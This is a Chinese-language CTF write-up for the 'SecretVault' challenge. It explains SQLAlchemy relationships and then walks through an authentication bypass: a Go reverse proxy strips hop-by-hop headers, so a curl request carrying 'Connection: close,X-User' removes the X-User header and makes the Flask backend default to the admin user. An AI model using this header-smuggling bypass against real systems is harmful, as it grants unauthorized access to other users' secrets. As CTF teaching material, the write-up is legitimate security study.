SecretVault

基础知识补充

  • 了解SQLAlchemy库的一个关键用法:db.relationship

  • 比如以下题目代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    db = SQLAlchemy()
    #这是进行了继承吗,是的进行了继承。
    class User(db.Model):#定义模型,每个模型类代表数据库中的一张表。
    """类里面的变量都叫元素"""
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)#盐和密码
    salt = db.Column(db.String(64), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)#时间
    vault_entries = db.relationship('VaultEntry', backref='user', lazy=True, cascade='all, delete-orphan')

    u = User.query.get(1)#自己加的
    entries = u.vault_entries

    class VaultEntry(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    label = db.Column(db.String(120), nullable=False)
    login = db.Column(db.String(120), nullable=False)
    password_encrypted = db.Column(db.Text, nullable=False)
    notes = db.Column(db.Text)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)

    v = VaultEntry.query.get(1)#自己加的
    owener = v.user

  • 这里需要讲解一个概念:即把两个数据库中表连接起来。

怎么连接

  • 逻辑上习惯在母表中(我们以本题母表元素对子表是一对多的情况为例)写入以下代码:

    1
    vault_entries = db.relationship('VaultEntry', backref='user', lazy=True, cascade='all, delete-orphan')
    • 首先该代码为目标的类添加了一个属性vault_entries,
    • 其次,在db.relationship方法后的括号中第一个参数的名字就是你要连接的子表的名字!
    • 最后,就是backref参数,该参数是站在子表的角度看的,子表的目标,即子表的”主人”就是”user”,这里因为代码解析的原因,定义User表的时候按类的写法,首字母大写,但是在写参数的时候就直接统一全小写。
  • 对于子表,我们需要写这样一行代码:

    1
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)

    这里db.ForeignKey('user.id')即代表连接哪个表的哪个属性,即User表的id属性

连接效果

  • 从User表的id查另外一个User表对应id相应的元素(比如一个人的密码)

    1
    2
    u = User.query.get(1)
    entries = u.vault_entries#这里为属性名
  • 子表,密码表,得知一个密码,查该密码对应目标哪个用户:

    1
    2
    v = VaultEntry.query.get(1)
    owener = v.user#这里就是backref的值,'user'。

其他flask数据库基础知识解惑

什么是字段

  • 就是一张表里的一个字段,它专门用来指向另一张表的主键

我们创建类到底创建了个什么

  • 我们定义一个继承自db.Model的类,只是定义了这个数据库应该长什么样子。

    1
    2
    3
    4
    5
    6
    7
    8
    class User(db.Model):#定义模型,每个模型类代表数据库中的一张表。
    """类里面的变量都叫元素"""
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)#盐和密码
    salt = db.Column(db.String(64), nullable=False)
    created_at = db.Column(db.DateTime, default=datetime.utcnow, nullable=False)#时间
    vault_entries = db.relationship('VaultEntry', backref='user', lazy=True, cascade='all, delete-orphan')
  • 之后进行实例化:

    1
    2
    3
    4
    5
    6
    7
    8
    user = User(
    id=0,
    username='admin',
    password_hash=password_hash,
    salt=base64.b64encode(salt).decode('utf-8'),
    )
    db.session.add(user)
    db.session.commit()

    这只是按照表中每行元素的格式创建了一个新元素,然后依次采用 db.session.add(user)db.session.commit()对表进行数据添加和更新。

装饰器自定义

题目解答流程

寻找关键点

  • 寻找关键字flag
    如下:

  • 针对该段代码我们可以开始分析:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    if not User.query.first():#前提就是没有用户,即初始化的时候会添加一个用户
    salt = secrets.token_bytes(16)
    password = secrets.token_bytes(32).hex()
    password_hash = hash_password(password, salt)
    user = User(
    id=0,
    username='admin',
    password_hash=password_hash,
    salt=base64.b64encode(salt).decode('utf-8'),
    )
    db.session.add(user)
    db.session.commit()

    flag = open('/flag').read().strip()
    flagEntry = VaultEntry(
    user_id=user.id,#为0,写死了,含义就是,只有id=0的user才对应flag的数据。
    label='flag',
    login='flag',
    password_encrypted=fernet.encrypt(flag.encode('utf-8')).decode('utf-8'),#加密flag的内容
    notes='This is the flag entry.',
    )
    db.session.add(flagEntry)
    db.session.commit()

    以上代码大概关键点有:

    • if not User.query.first():#前提就是没有用户,这段含义既是,系统初始化时(因为没有用户)会执行以下程序。
    • 首先在User表中创建id=0admin数据。
    • 其次,把flag文件进行读取,获取flag的值,将flag加密为密钥存于flagEntry这一数据中,并且flagEntry有且仅有与user_id=0的user数据关联,因为我说的这句话包含的运行逻辑,只会出现在初始化中,所以当User数据库有其他数据的时候,不会执行flagEntry数据与user数据的绑定。
    • 得出结论,flagEntry的值与id=0的user数据相绑定。此时继续看,怎么把vault呈现。
  • 寻找关键字vault,我们可以得到,该路由定义函数中有对密钥解码的行为:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    @app.route('/dashboard')#寻找我们所需要的数据库,即vault可以被呈现的路由。这段函数装饰器下面的函数就是单纯一个渲染作用,把user对应的秘钥渲染出来到前端
    @login_required#所以,这个登录识别修饰器很关键。我们需要id=0的用户。
    def dashboard():
    user = g.current_user#g相当于是一个只存在于http请求一瞬间的记事本,里面可以写很多元素。
    entries = [#所以要查清楚g.current_user是谁给他赋值的,值是多少。
    {#所以我们往@login_required里面去找它的来源。
    'id': entry.id,
    'label': entry.label,
    'login': entry.login,
    'password': fernet.decrypt(entry.password_encrypted.encode('utf-8')).decode('utf-8'),#这里把密文解码为明文
    'notes': entry.notes,
    'created_at': entry.created_at,
    }
    for entry in user.vault_entries#该user对应的所有vault表中的密码。如果可以把admin user的对应密码信息爆出即可
    ]#这里for循环看起来是反的,其实是列表推导式
    """entries = [] for entry in user.vault_entries,这样就一清二楚了"""
    return render_template('dashboard.html', username=user.username, entries=entries)

  • 该段代码主要逻辑就是在,该函数会将user对应的entry数据中的password解码,由于id=0的user所对应的password解码即为flag,所以我们就要去找,该user是由谁决定的

  • 顺藤摸瓜,该user是受g.current_user控制的。

  • 下一步就是去找g.current_user怎么来的,那线索就只能指向自定义的装饰器@login_required

关于装饰器

  • 代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    def login_required(view_func):#定义该装饰器
    @wraps(view_func)
    def wrapped(*args, **kwargs):
    uid = request.headers.get('X-User', '0')#这里接受的是反向代理请求头的X-user参数
    print(uid)#如果反向代理头中无X-user,那就用0;有的话,用X-user的值
    if uid == 'anonymous':
    flash('Please sign in first.', 'warning')
    return redirect(url_for('login'))
    try:#那么X-user不存在的话,uid值就是0
    uid_int = int(uid)
    except (TypeError, ValueError):
    flash('Invalid session. Please sign in again.', 'warning')
    return redirect(url_for('login'))
    user = User.query.filter_by(id=uid_int).first()#uid为0即可
    if not user:
    flash('User not found. Please sign in again.', 'warning')
    return redirect(url_for('login'))

    g.current_user = user#这里对g.current_user进行了赋值
    return view_func(*args, **kwargs)

    return wrapped
  • 我们可以看出user是由uid决定的,代码会根据uid在User数据库中查询对应user,所以uid为0即可

  • uid怎么为0?关键代码:

    1
    uid = request.headers.get('X-User', '0')#这里接受的是反向代理请求头的X-user参数

    即,如果在请求头找到了X-User字段,那就将uid定义为对应字段的值,如果没找到,就定义为0,所以我们就要让后端收不到有X-User字段的请求头

go代理

  • 我们需要明白,要多个心,这类题目可能有反向代理。
    代理和反向代理的区别:

    • 代理是你自己配置的,你明确知道代理存在,你主动配置代理,如vpn
    • 反向代理是你不知道的,服务器配置的,后端服务器 只信代理,而非你直接发过去的请求。
      现实例子:
      • Nginx
      • Cloudflare
      • API Gateway
      • 本题里的 Go 服务
  • 所以本题中发送”删除X-user字段”想要实现,需要让代理发出的请求无该字段,而不是你自己从客户端发送的请求没这字段就行了

  • 看如下源代码:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    func main() {
    authorizer := &httputil.ReverseProxy{Director: func(req *http.Request) {
    req.URL.Scheme = "http"
    req.URL.Host = "127.0.0.1:5000"

    uid := GetUIDFromRequest(req)
    log.Printf("Request UID: %s, URL: %s", uid, req.URL.String())
    req.Header.Del("Authorization")
    req.Header.Del("X-User")
    req.Header.Del("X-Forwarded-For")
    req.Header.Del("Cookie")

    if uid == "" {
    req.Header.Set("X-User", "anonymous")
    } else {
    req.Header.Set("X-User", uid)
    }
    }}
  • 几个关键点:

ReverseProxy库

  • 它的作用为:自动执行 HTTP 协议规定必须执行的规则
  • 官方定位:ReverseProxy 实现了一个 HTTP 反向代理
    用于把客户端请求转发到后端服务器,
    并返回响应。
  • 它其中有一个功能就是:
    removeHopByHopHeaders(req.Header),该函数的作用就是:代理在转发请求前,必须移除逐跳头。
    这是遵守了http协议的规则:即代理在转发请求前,必须移除逐条头
  • TTP/1.1 规定了哪些是逐跳头?

包括但不限于:

  • Connection
  • Keep-Alive
  • Proxy-Authenticate
  • Proxy-Authorization
  • TE
  • Trailer
  • Transfer-Encoding
  • Upgrade

并且:

Connection 头中列出的字段名,
也都必须被视为逐跳头并移除。

利用http协议

  • 即:删除标准逐跳头

  • 我们可以制造以下payload:

    1
    curl -H "Connection:close,X-User""题目网址/dashboard"
  • 含义即为:

    给发去该网站的请求加上”Connection:close,X-User”字段

  • 即:
    命令代理端要删除X-User字段才可以继续向后端发送请求

  • 所以,这样,我们就可以向后端发送无X-User的请求。

最终payload

  • 如下:

    1
    curl -H "Connection:close,X-User""题目网址/dashboard"
  • 可获取flag

    52c98f7335988b8d141a9df01b305a13